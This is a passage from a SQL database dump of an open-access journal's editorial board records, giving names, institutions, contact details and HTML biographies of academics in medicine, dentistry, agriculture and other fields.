Thyroid Disorders, Adrenal insufficiency</span></p>\r\n',1,'2018-07-18 21:00:19','2018-08-02 00:13:54',1),(161,28,20,'1531928100.jpg','Hamdy Ahmad Sliem','hamdy.sliem@yahoo.com','','Professor','Editorial board member','Egypt','Suez Canal University ','10','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Hamdy Ahmad Sliem, currently serving as full professor of internal medicine and endocrinology in the school of medicine, Suez Canal University. Received MD degree from the college of medicine in 1994. Have over three decades experience in the management of diabetes, endocrinal disorders and evaluation of health status of those patients with chronic complications. In the last decade, have over 50 scientific publications in peer reviewed national and international journals, given multiple poster and oral presentations at various national and international conferences. Most of the publications were in the areas endocrinal disorders, metabolic syndrome, obesity, prediabetes, and impact of diabetes on cardiovascular and immune systems. Editorial board member in about 60 peer review open access international journals. Referee and per reviewer in more than 40 medical journals, more than 140 articles were reviewed in the last 6 years. Supervised and judged several medical theses and shared in many national projects related to different health problems.</span></p>\r\n',1,'2018-07-18 21:05:00','2018-07-23 22:03:16',1),(162,21,20,'1531933979.jpg','Jose Maria Acostamadiedo','jacostam@uvm.edu',' (518) 562-7110','Hematology Oncology,Department of Medicine','Editorial board member','USA','Champlain Valley Physicians Hospital','02','',1,'2018-07-18 22:42:58','2018-07-18 22:54:31',1),(163,15,20,'1532017782.jpg','Vittorio Checchi','vchecchi@hotmail.com','','Department of Restorative Dentistry','Editorial board member','Italy','University of Bologna','13','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr Vittorio Checchi degreed from Dental School in 2006 with a thesis on two different types of bone graftin materials used in post extraction sockets. He finished his Phd in Biomedical technologies applied to dental sciences in 2010 with a thesis comparing short implants vs longer implants placed after bone augmentation, in posterior atrophic mandibles.in 2010<br />\r\nHe attended the Periodontology and Implantology Dept of The Medical School of Columbia University (New York City, NY) in 2009.<br />\r\nDr Checchi is Assistant Professor at the Dental School of the University of Trieste,Trieste (Italy).Since the beginning of 2016 he also became part of the Professors of the Master in Esthetic Restorative Dentistry at the Dental School of Bologna University, directed by<br />\r\nProf. Breschi.<br />\r\nDr Checchi wrote 54 scientific articles: 13 Italian language and 41 in English, with a total impact factor of 43.61 and an H-index of 10.</span></p>\r\n',1,'2018-07-19 21:59:42','2018-07-19 22:00:46',1),(164,28,20,'1532020434.jpg','Khue Vu Nguyen','kvn006@ucsd.edu','','Departments of Medicine and Pediatrics','Editorial board member','USA','University of California','01','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Khue Vu Nguyen (born in Ha Noi, Viet Nam) is currently Full Project Scientist in the Departments of Medicine and Pediatrics, University of California, San Diego, School of Medicine, San Diego, California, U.S.A. He has studied at University Louis Pasteur, Strasbourg, France: B.S. in Biochemistry, M.S. in Molecular Biology, Ph.D. in Macromolecular Physical Chemistry, Ph.D. in Physical Sciences (Doctorat d&rsquo;Etat es Sciences Physiques). </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He has worked as Scientist in different French and U.S. Research Institutions and Companies. He is author and co-author of numerous publications and holder of many patents. He is listed in Who&rsquo;s Who in the World, Who&rsquo;s Who in America, etc. He is member of different academic organizations such as American Society for Microbiology, American Chemical Society. He is invited reviewer of different scientific journals such as Molecular Genetics and Metabolism,<br />\r\nAGE: Journal of the American Aging Association. He is also editorial board member of different scientific journals such as International Journal of Medicine and Molecular Medicine, Open Journal of Endocrine and Metabolic Diseases. He is Scientist Reviewer for grant proposals of the Metabolic Disease Two (MB-2) of the Peer Review Medical Research Program (PRMRP) for the U.S. Department of Defense Congressionally Directed Medical Research Programs (CDMRP). Current research includes genetic diseases, neurodevelopmental and neurodegenerative disorders, and cancer.</span></p>\r\n',1,'2018-07-19 22:43:53','2018-07-19 22:43:53',1),(165,35,20,'1532021225.jpg','Alireza Heidari','scholar.researcher.scientist@gmail.com','','Director of the BioSpectroscopy Core Research ','Editorial board member','USA','California South University','01','<p><span style=\"font-family:Times New Roman,Times,serif\">Prof. Dr. Alireza Heidari, Ph.D., D.Sc. is a Full Professor and Academic Tenure of Chemistry at California South University (CSU), Irvine, California, USA. He has got his Ph.D. and D.Sc. degrees from California South University (CSU), Irvine, California, USA. Furthermore, he has double postdocs in Project Management, Oncology, Human Cancer Tissues and Synchrotron Radiation from Monash University, Melbourne, Victoria, Australia and also in Nanochemistry and Modern Molecular Electronic&ndash;Structure Computations Theory from California South University (CSU), Irvine, California, USA.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">His research interests include Biophysical Chemistry, Biomolecular Spectroscopy, Quantum Chemistry, Nanochemistry, Modern Electronic Structure Computations, Theoretical Chemistry, Mathematical Chemistry, Computational Chemistry, Vibrational Spectroscopy, Molecular Modelling, Ab initio &amp; Density Functional Methods, Molecular Structure, Biochemistry, Molecular Simulation, Pharmaceutical Chemistry, Medicinal Chemistry, Oncology, Synchrotron Radiation, Synchrocyclotron Radiation, LASER, Anti&ndash;Cancer Nano Drugs, Nano Drugs Delivery, ATR&ndash;FTIR Spectroscopy, Raman Spectroscopy, Intelligent Molecules, Molecular Dynamics, Biosensors, Biomarkers, Molecular Diagnostics, Numerical Chemistry, Nucleic Acids, DNA/RNA Monitoring, DNA/RNA Hypermethylation &amp; Hypomethylation, Human Cancer Tissues, Human Cancer Cells, Tumors, Cancer Tissues, Cancer Cells, etc. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He has participated at more than three hundreds reputed international conferences, seminars, congresses, symposiums and forums around the world as yet. Also, he possesses many published articles in Science Citation Index (SCI)/International Scientific Indexing (ISI) Journals. It should be noted that he has visited many universities or scientific and academic research institutes in different countries such as United States, United Kingdom, Canada, Australia, New Zealand, Scotland, Ireland, Netherlands, Belgium, Denmark, Greece, Russia, Estonia, Ukraine, Turkey, France, Swiss, Germany, Sweden, Norway, Italy, Austria, Czech Republic, Hungary, Poland, South Africa, Egypt, Brazil, Spain, Portugal, Mexico, Japan, Singapore, Malaysia, Thailand, Taiwan, Hong Kong, South Korea, China, India, Qatar, United Arab Emirates, etc. as research fellow, sabbatical and volunteer researcher or visitor and so on heretofore. He has a history of several years of teaching for college students and various disciplines and trends in different universities. Moreover, he has been a senior advisor in various industry and factories. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is expert in many computer programs and programming languages. Hitherto, he has authored more than twenty books and book chapters in different fields of Chemistry. Syne, he has been awarded more than nine hundreds reputed international awards, prizes, scholarships and honors. Heretofore, he has multiple editorial duties in many reputed international journals, books and publishers. Hitherward, he is a member of more than three hundreds reputed international academic&ndash;scientific&ndash;research institutes around the world. It should be noted that he is currently the President of American International Standards Institute (AISI), Irvine, California, USA and also Director of the BioSpectroscopy Core Research Laboratory at California South University (CSU), Irvine, California, USA.</span></p>\r\n',1,'2018-07-19 22:57:04','2018-07-19 23:04:03',1),(166,15,20,'1532110531.jpg','Charles P. Sia','charles.sia@hotmail.com','','Consultant in Oral and Maxillofacial Surgery & Implantology','Editorial board member','Philippines','University of the Visayas Philippines','14','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Sia is a graduate of both Dentistry and Medicine and holds the position as the Chairman of the Department of Oral &amp; Maxillofacial Surgery at Gullas Medical Center &ndash; University of the Visayas and a Consultant in Oral-Maxillofacial and Implant Surgery at St. Luke&rsquo;s Medical Center &ndash; Global City, University of Cebu Medical Center, Chong Hua Hospital Group and Cancer Center, and the Craniofacial Foundation of the Philippines. Currently, he holds the position as Vice President of the Philippine Association of Oral and Maxillofacial Surgeons and is a Clinical Assistant Professor of the Department of Oral Surgery and Oral Medicine at Cebu Doctors&rsquo; University. He was appointed as the International Relations Officer for the Philippines of the Young Oral and Maxillofacial Surgeon Group of Hong Kong and the editor-in-chief of the EMS Otolaryngology Journal; an honorary editorial board member of various journals in Otorhinolaryngology, Surgery, Dentistry &amp; Oral Health Journal, Oral Biology, Biomedical Research, and Integrated Medical and Clinical Case Reports.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Sia completed his dental degree at the Cebu Doctors&rsquo; University, medical degree at the University of the Visayas, Postgraduate Diploma in Oral Surgery, and Master&rsquo;s Degree in Oral and Maxillofacial Surgery at the University of Hong Kong. He was a recipient of the Clinical Fellowship grant by Arbeitsgemeinschaft fur Osteosynthesefragen (AO) Craniomaxillofacial Foundation at the Department of Oral and Maxillofacial Surgery in Peking University School and Hospital of Stomatology. He is a Fellow of the International and Philippine Association of Oral and Maxillofacial Surgeons, International Congress of Oral Implantology&rsquo;s, Philippine Academy of Head and Neck Surgery Inc., and International College of Continuing Dental Education.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Active member of the International College of Maxillofacial Surgery, International Academy of Oral Oncology, and International Cleft Lip and Palate Foundation.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Research interest includes Regenerative and Reconstruction techniques in Maxillofacial region, Bone Grafting, Biomaterials and Growth Factors, Orthognathic Surgery, Cleft Surgery, Pharmacology, and Quality of life in Oral and Maxillofacial Surgery patients.</span></p>\r\n',1,'2018-07-20 23:28:37','2018-08-15 10:33:32',1),(167,15,20,'1532110922.jpg','Jose Ricardo Kina','kinajr@hotmail.com','','Associate Professor','Editorial board member','Brazil','Universidade Estadual Paulista Júlio de Mesquita Filho','15','<p><span style=\"font-family:Times New Roman,Times,serif\">Associate Professor at UNESP-Universidade Estadual Paulista J&uacute;lio de Mesquita Filho, Division of Periodontics, Department of Surgery and Integrated Clinic and Professor at UNDB Dom Bosco University Division of Periodontics S&atilde;o Luis MA. Graduated at Ara&ccedil;atuba Dental School-Universidade Estadual Paulista J&uacute;lio de Mesquita Filho (1981), master&#39;s at Periodontology from Universidade de S&atilde;o Paulo (1985) and Ph.d. at Periodontology from Universidade de S&atilde;o Paulo (1991), Postdoctoral research from Tokyo Medical and Dental University (1995) and Retired&nbsp;Associate Professor from Universidade Estadual Paulista J&uacute;lio de Mesquita Filho (1984-2017). Specialist in Periodontics, Endodontics, Dental Prosthesis and Operative Dentistry. Has experience in Odontology, acting on the following subjects: periodontology, operative dentistry, dental implant, oral rehabilitation, endodontics and laser.&nbsp;</span></p>\r\n',1,'2018-07-20 23:34:02','2018-07-20 23:52:02',1),(168,28,20,'1532114263.jpg',' Hooshang Lahooti','hooshang.lahooti@sydney.edu.au','','Principal Scientific Officer and Conjoint Lecturer','Editorial board member','Australia','Nepean Clinical School','05','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr Hooshang Lahooti is Principal Scientist and conjoint lecturer - Nepean Clinical School, University of Sydney - PhD in Molecular and Cellular Biology - Teaching Evidence-Based Medicine. Dr Lahooti primary research focus is on Molecular Genetics of Thyroid Eye Disease (Thyroid Ophthalmopathy) has published many articles on Autoimmune Thyroid Disorders and has developed a unique laboratory test which is found to be useful by ophthalmologists and endocrinologists to manage patients with various eye and thyroid disorders.</span></p>\r\n',1,'2018-07-21 00:47:42','2018-07-21 00:47:42',1),(169,35,20,'1532114683.jpg','Dario Stefanelli','dariostef@hotmail.com','+61 (0)417 124 831','Department of Economic Development, Jobs, Transport & Resources','Editorial board member','Australia','  Latrobe University','03','',1,'2018-07-21 00:54:42','2018-07-21 00:54:42',1),(170,35,20,'1532114997.jpg','Miklas Scholz','miklas.scholz@tvrl.lth.se','+44 (0)161 295 5921','Department of Building and Environmental Technology','Editorial board member','Sweden','LUND UNIVERSITY','04','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Miklas Scholz</strong>, cand ing, BEng (equiv), PgC, MSc, PhD, CWEM, CEnv, CSci, CEng, FHEA, FIEMA, FCIWEM, FICE, Fellow of IWA, is Prof. in Water Resources Engineering at Lund University, Sweden. He also holds the Chair in Civil Engineering at The University of Salford, UK. He is a Professor and the Head of the Civil Engineering Research Group in Salford. Moreover, Miklas is a Distinguished Professor at Johannesburg University. Prof. Scholz has shown individual excellence evidenced by world-leading publications, postgraduate supervision and research impact. He has published four books and 218 journal articles. Prof. Scholz has total citations of more than 4889 (above 3090 citations since 2013), resulting in an h-index of 35 and an i10-Index of 111 (19 June 2018).</span></p>\r\n',1,'2018-07-21 00:59:56','2018-07-25 20:58:33',1),(171,35,20,'1532115585.png','Jin Seop Bak','jsbwvav21@kyonggi.ac.kr','+82 1031597789','Division of Bio-convergence','Editorial board member','South Korea','Kyonggi University','05','<p><span style=\"font-family:Times New Roman,Times,serif\">Jin Seop Bak has a college degree in Yonsei Univ. (senior admissions), a PhD in Korea Univ. with top honors, and LittD/ScD/PhD in IBC (in King&#39;s College). He is/was in Faculty of Kyonggi Univ. and KAIST (as Project-Leader). He was appointed to the post of Secretary-General (in UCC), Professor, Director General (for Asia), and Adviser in IBC. He also worked as a researcher/scholar/judge especially in UC Berkeley (conditionally), MIT (conditionally), Korea Univ. (e.g., Institute of Life Science and Natural Resources), Seoul National Univ. (e.g., Center for Agricultural Biomaterials), KRIBB, IPET, and KIMST. In Korea Univ., Prof. Bak played a key role in teaching Physical Chemistry. He is a leading member of a large number of academies (as the recipient/nominate of numerous awards; e.g., BioMedLib&#39;s TOP 20 and B&amp;B Daniel I.C. Wang Award) and nonprofit/profit organizations (e.g., Mensa, IBA, MOIF, COEI, and WCOIM). His main area of investigation is Life/Natural/Applied Sciences. He has achieved many research publications , 2 patents, 14 grants and has made a big number of communications in scientific events. He is a reviewer of more than 55 international journals, and member of 29 editorial boards. He has been cited continuedly in Marquis Who&#39;s Who (with several awards) and IBC (with numerous awards).</span></p>\r\n',1,'2018-07-21 01:09:45','2018-07-25 21:00:02',1),(172,35,20,'1532115841.jpg','Martin Svoboda','svobodama@vfu.cz','420 728 25 15 49','Ruminant and Swine Clinic','Editorial board member','Europe','University of Veterinary and Pharmaceutical Sciences','06','',1,'2018-07-21 01:14:01','2018-07-21 01:14:01',1),(173,35,20,'1532116161.jpg','Waleed Fouad Abobatta','wabobatta@yahoo.com','00201224296948','Agriculture Research Center','Editorial board member','Egypt','Horticulture Research Institute – Agriculture Research Center','07','<p style=\"margin-left:.25in; margin-right:0in\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Abobatta working as a Dr at (Citrus research Department), Horticulture Research Institute, Agriculture Research Center, he&rsquo;s a member of Scientific Committee for Greenhouses Plantation (A R C) and a member of Scientific Team for National Campaign for Navel Orange improvement (HRI), Abobatta published more than 11 books and research papers. </span>Abobatta has been serving as an editorial board member <span style=\"color:black\">in many journals like </span>Acta Science Agriculture<span style=\"color:black\">,Agriculture, Forestry and Fisheries, Science Publishing Group</span>,&nbsp;<span style=\"color:black\">International Journal of Research in Clinical Medicine and Pharmacy Practice.</span></span></p>\r\n\r\n<p style=\"margin-left:13.5pt; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dr. Abobatta has been identified as an influential speaker for seminar, symposium, workshop, training and classes. He&rsquo;s consultant of Nano application in the agricultural sector and Magnetizing treated water in agriculture in the Arabian region.</span></span></p>\r\n\r\n<p style=\"margin-left:13.5pt; text-align:justify\"><em><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Research Interest:</span></strong></span></em></p>\r\n\r\n<p style=\"margin-left:13.5pt; text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dr. Waleed Abobatta research interests are Nano application in the agricultural sector, application of hydrogel polymer in agriculture, Integrated Horticulture crops management, plant physiology, plant nutrition, Greenhouses Plantation, Jojoba production under marginal land conditions and the soilless culture of vegetables.</span></span></p>\r\n',1,'2018-07-21 01:19:21','2018-07-21 01:20:57',1),(174,35,20,'1532116530.jpg','Fatma Aykut Tonk','fatma.aykut@ege.edu.tr','',' Department of FieldCrops','Editorial board member','Turkey','Ege University','08','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Aykut Tonk is Associate Professor in the Department of Field Crops at the University of Ege. &nbsp;Dr. Aykut Tonk received her Ph.D in Plant Breeding and Genetic Sciences from Ege University in 2007, her M.S. in Plant Breeding and Genetic Sciences from Ege University in 2002 and her B.S. in the Department of Field Crops at the University of Ege in 1998. Dr. Aykut Tonk is editor board of Turkish Journal of Field Crops, <a href=\"https://www.google.com.tr/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;uact=8&amp;ved=0ahUKEwirtKCt7q7WAhVGYVAKHbJ-BLMQFggqMAA&amp;url=http%3A%2F%2Fwww.sciencedomain.org%2Fjournal%2F32&amp;usg=AFQjCNHC4JMYjcaFVsVT-tmOh4GQkuL1Jw\">Annual Research &amp; Review in Biology</a>, Plant Cell Biotechnology and Molecular Biology.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Her research interests include <span style=\"color:black\">the development and breeding of new varieties in wheat, identification of plant genetic diversity in different plants, molecular markers, molecular mapping and QTL studies on disease and pest resistance in wheat. </span></span></p>\r\n',1,'2018-07-21 01:25:30','2018-07-21 01:25:30',1),(175,32,20,'1532117355.png','Nurullah Hamidi','Abcded@gmail.com','','Ankara Training and Research Hospital','Editorial board member','Turkey','Ankara Training and Research Hospital','05','',1,'2018-07-21 01:39:15','2018-07-21 01:39:15',1),(176,35,20,'1532185726.jpg','Teodor Rusu','rusuteodor23@yahoo.com','0040724719774','Department of Technical Sciences and Soil Sciences','Editorial board member','Europe','UNIVERSITY OF AGRICULTURAL SCIENCES  AND VETERINARY MEDICINE CLUJ-NAPOCA','09','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Prof. dr. Rusu Teodor from University of Agricultural Sciences and Veterinary Medicine Cluj-Napoca, Romania, teach Agrotechnics, Experimental Techniques and Rural Development. Director of the research center for Sustainable Agricultural Systems and Minimum Tillage Technologies (since 2011), has worked as a soil pedologist for the 3 years, and agrotechnics for the last 20 years, specializing in soil monitoring, soil tillage, soil quality, minimum tillage, no-tillage, sustainable agricultural technologies and climatic changes. PhD Supervisor on Agrotechnics (since 2009). Deputy Director of the Department of Technical and Soil Sciences (2009-present). Director, Office of Soil Survey and Agrochemical Cluj (2014-present). He was Vice-Dean of the Faculty of Agriculture (2008-2012), Master Program responsible Rural Development (2010-present) and judicial-technical expert in Agriculture specialization. Professional experience - through the publication of 25 books, courses and guidance published in national and international publishers; 315 scientific papers (from which 47 ISI) and consultancy; organizing symposia: soil compaction - processes and consequences (2007); soil tillage systems (ed. 5: 2008; ed. 6: 2011; ed. 7: 2013; ed. 8: 2015); ESSC Conference 2016. Hirsch factor: Web of Science 5; Scopus 6; Google Scholar 10.</span></p>\r\n\r\n<p style=\"text-align:justify\"><em><strong>Research Interest:</strong></em></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#2f302b\">A</span>grotechnics, herbology and soil management; soil sciences &ndash; pedologic studies and land evaluation, pedoameliorations and soil erosion control studies; technique experimentally and analysis of variance; soil conservation systems for a sustainable agriculture, anti-erosion systems, minimum soil tillage, no-tillage, carbon sequestration; integrated control of weeds and correct use of herbicides; weed biology and ecology, weed assessment; crop rotation and differentiated agrotechnics; rural development and climatic changes<span style=\"color:#2f302b\">.</span></span></p>\r\n',1,'2018-07-21 20:38:46','2018-07-21 20:49:02',1),(177,35,20,'1532186280.jpg','Moraru Paula Ioana ','moraru_paulaioana@yahoo.com','0040741135593','Department of Technical Sciences and Soil sciences','Editorial board member','Bulgaria','UNIVERSITY OF AGRICULTURAL SCIENCES  AND VETERINARY MEDICINE CLUJ-NAPOCA','10','<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#111111\">Dr. Engineer, Research assistant, Department of Soil Sciences, University of Agricultural Sciences and Veterinary Medicine Cluj-Napoca, Romania. Publication of 120 papers in BDI&amp;ISI journals and international symposiums, 28 of which as lead author. Specialized in soil tillage conservation and its effect on soil organic matter, water management and carbon sequestration.</span></span></p>\r\n\r\n<p><em><strong><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#111111\">Research Interest:</span></span></strong></em></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#2f302b\">A</span>grotechnics, herbology and soil management; technique experimentally and analysis of variance; soil conservation systems for a sustainable agriculture, anti-erosion systems, minimum soil tillage, no-tillage, carbon sequestration; integrated control of weeds and correct use of herbicides; rural development and climatic changes<span style=\"color:#2f302b\">.</span></span></p>\r\n',1,'2018-07-21 20:47:59','2018-07-21 20:47:59',1),(178,28,20,'1532362751.jpg','Sangeeta Singg','Sangeeta.singg@angelo.edu','325-223-8606','Department of Psychology, Sociology','Editorial board member','USA','Angelo State University','02','<p><span style=\"font-family:Times New Roman,Times,serif\">Sangeeta Singg, PhD is a licensed psychologist and a professor of psychology a<span style=\"color:black\">t the Angelo State University (ASU) where she started the graduate counseling psychology program and served as the Program Director for many years. She</span> is also a <span style=\"color:black\">certified Applied Clinical Nutritionist and a Purification and Weight Loss Coach. </span>&nbsp;Her publications are in the areas of health and counseling/clinical psychology. She is currently serving as the president of the Psychological Association of Greater West Texas (PAGWT).&nbsp; In November 2016, PAGWT&nbsp; recognized her with a prestigious award, &ldquo;Outstanding Leadership in Psychology Award.&rdquo; Serving o<span style=\"color:black\">n the Board of Directors of American Heart Association, Tom Green County Division for 32 years, four times as the Board President, she received recognition for her service and volunteerism for over 30 years and was named Go Red Ambassador in 2009. Dr. Singg was s</span>elected as a &ldquo;Top Psychologist in San Angelo, Texas&rdquo; by the International Association of HealthCare Professionals and listed in their publication, <em>Worldwide Leaders in Health Care</em>, 2016. Among several academic awards, three are ASU&rsquo;s Distinguished Faculty Achievement Award, ASU Faculty Excellence in Leadership/Service, Texas A&amp;M University-Commerce&rsquo;s Ambassador Award, and ASU 35-Years Service Award. Dr. Singg organized the first AIDS Awareness Program in West Texas in early 1980s and started the first support group for the AIDS patients, their families and friends. A group member and Dr. Singg founded the San Angelo AIDS Foundation which began serving a vast geographical area of West Texas.</span></p>\r\n\r\n<p><em><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research Interests:</strong></span></em></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Singg&rsquo;s research interests are diverse and interdisciplinary including post-traumatic stress disorder, depression, zoophilia, childhood sexual abuse, memory, cardiovascular disease, alternative methods of healing, grief, suicide, energy medicine, student personal responsibility, self-esteem, color preference and color therapy, and role of nutrition in physical and psychological wellness.</span></p>\r\n',1,'2018-07-23 21:49:11','2018-07-23 22:01:11',1),(179,28,20,'1532363174.jpg','Juei-Tang Cheng','jtcheng@mail.cjcu.edu.tw','','Chair Professor, Institute of Medical Research','Editorial board member','Taiwan, Province of China','Chang Jung Christian University','04','',1,'2018-07-23 21:56:13','2018-08-02 00:16:00',1),(180,28,20,'','Tatiana Mokhort','tat_mokh@mail.ru','','Depatment of Internal Medicine, Department of Endocrinology','Editorial board member','Russia',' Moscow Medical Institute','09','',1,'2018-07-23 21:59:59','2018-08-02 00:14:22',1),(181,31,20,'1532444959.jpg','Ronald Burke','rburke@schulich.yorku.ca','(416) 736-2100','Emeritus Professor of Organizational Studies and Senior Scholar','Editorial board member','Canada','Schulich School of Business York University','02','<p><span style=\"font-family:Times New Roman,Times,serif\">One of Canada&rsquo;s most prolific researchers, Professor Burke&rsquo;s work has focused on the relationship between the work environment and the individual&rsquo;s overall well being, and over the past forty years he has written articles for numerous academic and professional journals.&nbsp; In addition to his research and teaching activities, Professor Burke was the Founding Editor of the <u>Canadian Journal of Administrative Sciences</u>.&nbsp; Burke has served on the editorial board of two dozen journals and has reviewed manuscripts for a dozen more journals.&nbsp; He has served as a member of two grants committees for the Social Sciences and Humanities Research Council of Canada, as Director of the PhD program in the School of Business at York University, and as Associate Dean Research, with the Schulich &nbsp;School of Business at York University.&nbsp; He has participated in research conferences in North and South America, the UK, Europe, Asia and Australia.&nbsp; He is a Fellow of the Canadian Psychological Association.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Professor Burke previously held the Imperial Life Professorship in Organizational Behavior and was a Senior Research Fellow at the National Centre for Management Research and Development, &nbsp;Ivey School of Business Administration, The University of Western Ontario.&nbsp; As holder of this Professorship, he started the Women in Management Research Program at Ivey.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Professor Burke earned a BA from the University of Manitoba and an MA and a PhD, from the University of Michigan.&nbsp; After completing his PhD in 1966 Professor Burke taught for two years at the University of Minnesota, following which he joined the School of Business at York University in Toronto.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He has participated in over 300 management development programs as well as serving as a consultant on organizational effectiveness issues for private and public sector organizations.&nbsp; His views on management have also appeared in various media.&nbsp; An outstanding teacher, Professor Burke has been frequently nominated for MBA teaching awards, ranking first in 2001.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Burke has published over 500 journal articles and book chapters and presented over 500 papers at academic conferences around the world. He has also edited or co-edited55 &nbsp;books to date with McGraw-Hill, Kluwer, Blackwell, Routledge, the American Psychological Association, Sage, Edward Elgar, Cambridge University Press, Emerald, Gower &nbsp;and Elsevier. In addition, he serves as co-editor of the Gower Publishers series on the psychological and behavioral aspects&nbsp; of risk in organizations. &nbsp;Researchgate indicted that his work has received over 10,000 citations.</span></p>\r\n',1,'2018-07-24 20:39:19','2018-07-24 20:39:19',1),(182,25,20,'1532445893.jpg','Abdelaziz M Thabet','abdelazizt@hotmail.com','6472398092','President - Consultant Psychiatrist and Senior Researcher, President of the Child and Adolescent Section in Arab Federal Psychiatrists','Editorial board member','Canada','Gaza','04','<p><span style=\"font-family:Times New Roman,Times,serif\">Professor Thabet is a Palestinian child and adolescent Psychiatrist, was educated in Palestine, Austria, and United Kingdom in child psychiatry. His main interest was in dealing with Palestinian children affected by First Intifada which was erupted in 1987. He was running the clinical setting in Gaza city and was seeing adults and children victims of trauma and political violence. Cases were varied from depression, psychosomatic problems, anxiety, PTSD in adults. Children were referred due problems such as fears, anxiety, bed wetting, acute stress disorder, PTSD, ADHD, and conversion disorder. In seeing such cases, Prof Thabet decided to study the impact of trauma on children in the Gaza Strip in 1993. On the last three decades professor Thabet had conducted very interesting research including the prevalence of mental health problems in Gaza and West Bank, coping strategies used by children and parents. He targeted different ages and preschool children were in the target group in which he carried out studies of the mental health of children in preschool age and their mothers. He also studied patients in different departments in the hospitals such as End Stage Renal Failure, Cancer patients both in children and adult departments.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">After a while he conducted evaluation of intervention studies including different intention programs such as writing therapy, school based intervention, psychoeducation, psychodrama. In the last years, he started to lock for risk and protective factors in children and adults victims of political violence, stress, and trauma. He had conducted studies to see the impact of trauma, stress on resilience and PTG of adolescents and adults. His research includes both qualitative and quantitative ways of data collection. Also, Prof Thabet had targeted marginalized population such as Labor, orphaned, children lost their fathers in war, children with special needs, children under dialysis.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Research Interest:</strong></em></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Prof Thabet main interest is the impact of stress and trauma on children and adults and the coping as medication factor and resilience as the outcome.</span></p>\r\n',1,'2018-07-24 20:54:52','2018-07-24 20:54:52',1),(183,24,20,'1532446357.jpg','Khalid Al Aboud','amoa65@hotmail.com','','Consultant Dermatologist','Editorial board member','Saudi Arabia','King Faisal Hospital','04','<p><span style=\"font-family:Times New Roman,Times,serif\">Khalid Al Aboud, holds Bachelor of Medicine and Bachelor of Surgery <strong>(MBBS)</strong> from King Abdulaziz University, Saudi Arabia.Recently he finished his fellowship in dermatopathology from Wake Forest University, Winston-Salem, North Carloina, USA.Khalid Al Aboud who is currently the head of public health department in King Faisal Hospital, Makkah, Saudi Arabia , has diverse medicals interests and has several publications in Sexually Transmitted Infections, dermatology , pathology and public health. In 2008 , he received Zakon prize from the Society of History of Dermatology.He Conducted national researches on several public health problems including leprosy, leishmania and skin cancers.He is on the Editorial and Advisory Boards of several peer-reviewed scientific journals. </span></p>\r\n',1,'2018-07-24 21:02:37','2018-07-24 21:02:37',1),(184,35,20,'1532446997.jpg','Zul Ariff Bin Abdul Latiff','zulariff@umk.edu.my','0192231584','Head of Department  Agriculture Science, Faculty of Agro Based Industry','Editorial board member','Malaysia','Universiti Malaysia Kelantan','11','',1,'2018-07-24 21:13:16','2018-07-24 21:13:16',1),(185,35,20,'1533319222.png','Abdalla A Satti','satisattisat@yahoo.com','','Department of Bio-pesticides and Bio-fertilizers','Editorial board member','Sudan','Natural Resources and Desertification Research Institute','12','<p><span style=\"font-family:Times New Roman,Times,serif\">A.A. Satti was graduated in the University of Gezira, and received his M.Sc. &amp; Ph.D. from Khartoum University, Sudan. He is a senior researcher of entomology and pest management at the Department of Bio-pesticides and Bio-fertilizers, Environment, Natural Resources and Desertification Research Institute (ENDRI), National Centre for Research (NCR). He became Assistant, Associate and Full Professor, 2004, 2009 and 2013, respectively. He was a head Dept., 2006&ndash;2013, then a director of ENDRI from 2016 up to date. Satti is the founder and editor-inchief of the &ldquo;Environment and Natural Resources International Journal-ENRIJ&rdquo;, and one of founders of &ldquo;Sudanese Pest Management Society-SPMS)&rdquo;- 2017, besides being member in some journals&rsquo; editorial boards and several professional societies and unions. He was managed to lead/participate in various research projects considering sustainable agriculture, published ?120 scientific papers in journals and conferences. Moreover, he contributes effectively in teaching, supervision, training and extension activities, and other community services via cooperation with relevant institutions, all add significantly to his career.</span></p>\r\n',1,'2018-07-24 21:18:48','2018-08-03 23:30:21',1),(186,15,20,'1532447903.jpg','Mehmet Kemal Tumer','Dr_kemaltumer@yahoo.com','7505- (+90) 5433199155','Department of Oral And Maxillofacial Surgery, Faculty Of Dentistry','Editorial board 